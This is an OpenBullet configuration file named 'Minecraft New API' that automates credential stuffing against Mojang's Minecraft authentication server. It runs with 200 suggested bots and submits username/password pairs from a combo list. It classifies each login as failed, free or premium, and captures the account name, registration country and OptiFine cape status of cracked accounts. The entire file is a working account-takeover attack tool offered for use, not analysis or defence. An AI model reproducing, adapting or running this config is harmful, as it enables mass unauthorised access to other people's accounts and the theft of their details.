[SETTINGS]
{
  "Name": "Minecraft New API",
  "SuggestedBots": 200,
  "MaxCPM": 0,
  "LastModified": "2019-12-22T08:26:37.4243482-08:00",
  "AdditionalInfo": "NEW API - Cap Premium / Country / OF Cape",
  "Author": "koba_lad",
  "Version": "1.4.3 [Anomaly]",
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "Base64": "",
  "Grayscale": false,
  "RemoveLines": false,
  "RemoveNoise": false,
  "Dilate": false,
  "Threshold": 1.0,
  "DiffKeep": 0.0,
  "DiffHide": 0.0,
  "Saturate": false,
  "Saturation": 0.0,
  "Transparent": false,
  "Contour": false,
  "OnlyShow": false,
  "ContrastGamma": false,
  "Contrast": 1.0,
  "Gamma": 1.0,
  "Brightness": 1.0,
  "RemoveLinesMin": 0,
  "RemoveLinesMax": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
#LOGIN REQUEST POST "https://authserver.mojang.com/authenticate" 
  CONTENT "{\"agent\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"<USER>\",\"password\":\"<PASS>\",\"requestUser\":true}" 
  CONTENTTYPE "application/json" 
  HEADER "User-Agent: MinecraftLauncher/1.0" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

#KEYCHECK KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "{\"error\":\"ForbiddenOperationException" 
  KEYCHAIN Custom "FREE" OR 
    KEY "\",\"availableProfiles\":[]" 
  KEYCHAIN Success AND 
    KEY "\"availableProfiles" 
    KEY "\",\"selectedProfile\":{\"name\":\"" 

#IGN PARSE "<SOURCE>" LR "\"selectedProfile\":{\"name\":\"" "\",\"id\":\"" -> CAP "IGN" 

#COUNTRY PARSE "<SOURCE>" LR "\":\"registrationCountry\",\"value\":\"" "\"}],\"id\":\"" -> CAP "COUNTRY" 

#OPTIFINE REQUEST GET "http://s.optifine.net/capes/<IGN>.png" 
  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/79.0.3945.88 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

#OFTOC PARSE "<SOURCE>" LR "<body>" "</body>" -> VAR "OFTOC" 

#VARAPP FUNCTION Constant "<OFTOC>YES" -> VAR "OFTOC" 

#OF_CAPE_CHECK FUNCTION Replace "Not%20foundYES" "NO" "<OFTOC>" -> CAP "OF CAPE" 

#OF_CAPE_CHECK FUNCTION Replace "Not foundYES" "NO" "<OFTOC>" -> CAP "OF CAPE" 